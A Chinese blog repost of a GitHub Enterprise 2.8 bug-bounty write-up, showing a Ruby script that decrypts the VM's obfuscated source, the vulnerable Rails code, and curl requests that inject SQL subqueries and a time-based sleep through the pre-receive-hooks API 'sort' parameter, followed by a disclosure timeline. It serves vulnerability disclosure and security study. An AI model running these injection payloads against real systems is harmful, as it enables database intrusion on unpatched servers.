GitHub 企业版软件是专供公司团体用来部署在内网进行开发服务的商业性应用程序。Github 企业版采用标准 OVF 格式集成,以虚拟机(VM)镜像方式发布,可以在 enterprise.github.com 网站注册下载 45 天试用版本,并把其部署在任何虚拟机环境中。通过下载其试用版本软件进行分析,我花了一周时间,发现了其中存在的 SQL 注入漏洞,并获得了 5000 美元漏洞赏金。
Github 企业版 VM 环境安装之后的效果如下:
现在,Github 搭建完成,接下来就可以在虚拟机系统内进行深入分析。
环境安全性分析
用 Nmap 发现有 6 个开启端口:
$ nmap -sT -vv -p 1-65535 192.168.187.145...pORT STATE SERVICE22/tcp open ssh25/tcp closed smtp80/tcp open http122/tcp open smakynet443/tcp open https8080/tcp closed http-proxy8443/tcp open https-alt9418/tcp open git
这些端口用途初步分析为:
端口 22/tcp 和 9418/tcp 可能用于进程 haproxy 转发后端服务 babeld;
端口 80/tcp 和 443/tcp 用于 Github 主要服务;
端口 122/tcp 用于 SSH 服务;
端口 8443/tcp 用于 GitHub 的管理控制台服务。
由于 GitHub 的管理控制台需要密码才能实现登录,所以你可以设置密码并通过 122 端口的 SSH 服务连接 VM 环境,SSH 连接进入系统之后,检查系统信息发现,几乎所有的 Github 服务代码都位于目录/data/下:
# ls -al /data/total 92drwxr-xr-x 23 root root 4096 Nov 29 12:54 .drwxr-xr-x 27 root root 4096 Dec 28 19:18 ..drwxr-xr-x 4 git git 4096 Nov 29 12:54 alambicdrwxr-xr-x 4 babeld babeld 4096 Nov 29 12:53 babelddrwxr-xr-x 4 git git 4096 Nov 29 12:54 codeloaddrwxr-xr-x 2 root root 4096 Nov 29 12:54 dbdrwxr-xr-x 2 root root 4096 Nov 29 12:52 enterprisedrwxr-xr-x 4 enterprise-manage enterprise-manage 4096 Nov 29 12:53 enterprise-managedrwxr-xr-x 4 git git 4096 Nov 29 12:54 failbotddrwxr-xr-x 3 root root 4096 Nov 29 12:54 git-hooksdrwxr-xr-x 4 git git 4096 Nov 29 12:53 githubdrwxr-xr-x 4 git git 4096 Nov 29 12:54 git-importdrwxr-xr-x 4 git git 4096 Nov 29 12:54 gitmondrwxr-xr-x 4 git git 4096 Nov 29 12:54 gpgverifydrwxr-xr-x 4 git git 4096 Nov 29 12:54 hookshotdrwxr-xr-x 4 root root 4096 Nov 29 12:54 lariatdrwxr-xr-x 4 root root 4096 Nov 29 12:54 longpolldrwxr-xr-x 4 git git 4096 Nov 29 12:54 mail-repliesdrwxr-xr-x 4 git git 4096 Nov 29 12:54 pagesdrwxr-xr-x 4 root root 4096 Nov 29 12:54 pages-luadrwxr-xr-x 4 git git 4096 Nov 29 12:54 renderlrwxrwxrwx 1 root root 23 Nov 29 12:52 repositories - /data/user/repositoriesdrwxr-xr-x 4 git git 4096 Nov 29 12:54 slumlorddrwxr-xr-x 20 root root 4096 Dec 28 19:22 user
查看其中的文件源码,貌似是 base64 加密的:
GitHub 使用了一个自定义的库来加密混淆自身源代码。如果你在谷歌搜索 ruby_concealer.so,你会发现一个牛人已经对这种加密方式作了分析,只需在 ruby_concealer.so 中用 rb_f_puts 替换 rb_f_eval 即可实现解密。但我们还是实际动手来看看,打开 IDA pro 分析一下:
你可以发现,其源程序使用了类 Zlib::Inflate::inflate 进行数据解压缩,并使用了一段明文 KEY 作为异或(XOR)操作,然而,让人搞笑的是,这段明文 KEY 竟然是这样的:
This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this'encryption' is easily broken.(我们清楚该加密很容易被破解,但其目的在于防止 GitHub 企业版用户随意对 VM 环境进行修改)
哎呀,让人哭笑不得.
有了这些,我们就可以自己构造解密脚本了:
require 'zlib'key = "This obfuscation is intended to discourage GitHub Enterprise customers from making modifications to the VM. We know this 'encryption' is easily broken. "def decrypt (s) i, plaintext = 0, '' Zlib::Inflate.inflate (s) .each_byte do |c| plaintext (c ^ key[i%key.length].ord) .chr i += 1 end plaintextendcontent = File.open (ARGV[0], "r") .readcontent.sub! %Q(require "ruby_concealer.so"\n__ruby_concealer__), " decrypt "plaintext = eval contentputs plaintext
代码分析
实现程序源代码解密之后,让我们尝试着进行代码审计:
$ cloc /data/ 81267 text files. 47503 unique files. 24550 files ignored.http://cloc.sourceforge.net v 1.60 T=348.06 s (103.5 files/s, 15548.9 lines/s)-----------------------------------------------------------------------------------Language files blank comment code-----------------------------------------------------------------------------------Ruby 25854 359545 437125 1838503Javascript 4351 109994 105296 881416YAML 600 1349 3214 289039python 1108 44862 64025 180400XML 121 6492 3223 125556C 444 30903 23966 123938Bourne Shell 852 14490 16417 87477HTML 636 24760 2001 82526C++ 184 8370 8890 79139C/C++ Header 428 11679 22773 72226Java 198 6665 14303 45187CSS 458 4641 3092 44813Bourne Again Shell 142 6196 9006 35106m4 21 3259 369 29433...
-
$ ./bin/rake aboutAbout your application's environmentRuby version 2.1.7 (x86_64-linux)RubyGems version 2.2.5Rack version 1.6.4Rails version 3.2.22.4JavaScript Runtime Node.js (V8)Active Record version 3.2.22.4Action pack version 3.2.22.4Action Mailer version 3.2.22.4Active Support version 3.2.22.4Middleware GitHub::DefaultRoleMiddleware, Rack::Runtime, Rack::MethodOverride, ActionDispatch::RequestId, Rails::Rack::Logger, ActionDispatch::ShowExceptions, ActionDispatch::DebugExceptions, ActionDispatch::Callbacks, ActiveRecord::ConnectionAdapters::ConnectionManagement, ActionDispatch::Cookies, ActionDispatch::Session::CookieStore, ActionDispatch::Flash, ActionDispatch::paramsparser, ActionDispatch::Head, Rack::ConditionalGet, Rack::ETag, ActionDispatch::BestStandardsSupportApplication root /data/github/9fcdcc8Environment productionDatabase adapter githubmysql2Database schema version 20161003225024
从以上分析可以看出大部分为 Ruby 代码,而且可以发现:
程序通过端口 80 和 443 远程连接 github.com、gist.github.com 和 api.github.com 在目录/data/github/下更新代码库;
目录/data/render/可能为 render.githubusercontent.com 代码库;
程序通过 8443 端口运行目录/data/enterprise-manage/下服务。
漏洞分析
虽然我对 Ruby 不太熟悉,但经过现学现用,我花了一周的时间发现了这个漏洞,以下我的分析工作日程:
第一天 设置 Github 虚拟机环境
第二天 设置 Github 虚拟机环境
第三天 学习 Rails 进行代码审计
第四天 学习 Rails 进行代码审计
第五天 学习 Rails 进行代码审计
第六天 哦也,找到了一个 SQL 注入漏洞
这个 SQL 注入漏洞存在于 GitHub 企业版程序的 preReceiveHookTarget 模块中,其根本原因在于/data/github/current/app/model/pre_receive_hook_target.rb 文件的第 45 行:
33 scope :sorted_by, - (order, direction = nil) {34 direction = "DESC" == "#{direction}".upcase ? "DESC" : "ASC"35 select(-SQL)36 #{table_name}.*,37 CASE hookable_type38 WHEN 'global' THEN 039 WHEN 'User' THEN 140 WHEN 'Repository' THEN 241 END AS priority42 SQL43 .joins ("JOIN pre_receive_hooks hook ON hook_id = hook.id")44 .readonly(false)45 .order ([order, direction].join (" "))46 }
虽然 Rails 中内置的对象关系映射 ActiveRecord in Rails 本身不允许 SQL 注入操作,但一些 ActiveRecord 的误用实例同样会引起 SQL 注入。具体可参考学习 Rails-sqli.org。在该漏洞情况中,我们可以控制 order 方法的参数实现恶意代码注入。跟踪观察发现,服务 sorted_by 被 data/github/current/app/api/org_pre_receive_hooks.rb 文件的第 61 行调用:
10 get "/organizations/:organization_id/pre-receive-hooks" do11 control_access :list_org_pre_receive_hooks, :o rg = org = find_org!12 @documentation_url "#list-pre-receive-hooks"13 targets = preReceiveHookTarget.visible_for_hookable (org)14 targets = sort (targets) .paginate (pagination)15 GitHub::prefillAssociations.for_pre_receive_hook_targets targets16 deliver :pre_receive_org_target_hash, targets17 end...60 def sort (scope)61 scope.sorted_by ("hook.#{params[:sort] || "id"}", params[:direction] || "asc")62 end
可以清楚地看到 params[:sort]被传递给了 scope.sorted_by,所以我们可以尝试着向 params[:sort]注入恶意代码。
在触发该漏洞之前,接入 ApI 需要 admin:pre_receive_hook 函数具备一个有效的 access_token 值,高兴的是,我们可以通过以下命令来获取:
$ curl -k -u 'nogg:nogg' 'https://192.168.187.145/api/v3/authorizations' \-d '{"scopes":"admin:pre_receive_hook","note":"x"}'{ "id": 4, "url": "https://192.168.187.145/api/v3/authorizations/4", "app": { "name": "x", "url": "https://developer.github.com/enterprise/2.8/v3/oauth_authorizations/", "client_id": "00000000000000000000" }, "token": "????????", "hashed_token": "1135d1310cbe67ae931ff7ed8a09d7497d4cc008ac730f2f7f7856dc5d6b39f4", "token_last_eight": "1fadac36", "note": "x", "note_url": null, "created_at": "2017-01-05T22:17:32Z", "updated_at": "2017-01-05T22:17:32Z", "scopes": [ "admin:pre_receive_hook" ], "fingerprint": null}
一旦获取到有效的 access_token 值之后,漏洞就会被触发:
$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????sort=id,(select+1+from+information_schema.tables+limit+1,1)'[]$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????sort=id,(select+1+from+mysql.user+limit+1,1)'{ "message": "Server Error", "documentation_url": "https://developer.github.com/enterprise/2.8/v3/orgs/pre_receive_hooks"}$ curl -k -H 'Accept:application/vnd.github.eye-scream-preview' \'https://192.168.187.145/api/v3/organizations/1/pre-receive-hooks?access_token=????????sort=id,if (user ()="github@localhost",sleep (5),user ()){ ...}
漏洞报送进程
2016/12/26 05:48 通过 HackerOne 把该漏洞报送给 GitHub
2016/12/26 08:39 GitHub 给出反馈,表示已通过验证并正在修复;
2016/12/26 15:48 提供给 GitHub 更多漏洞细节;
2016/12/28 02:44 GitHub 反馈表示,漏洞补丁将随 GitHub 企业版后续更新释出;
2017/01/04 06:41 GitHub 回复将给我 5000 美刀赏金;
2017/01/05 02:37 资询 GitHub,是否介意我将此漏洞公开在个人博客;
2017/01/05 03:06 GitHub 很爽快地表示,没问题!
2017/01/05 07:06 GitHub Enterprise 2.8.5 发布!
如果你对该漏洞感兴趣,可以自己部署 Github 企业版系统环境进行深入分析。
参考来源:orange,FB 小编 clouds 编译,转载请注明来自 FreeBuf.COM。
济宁IT新闻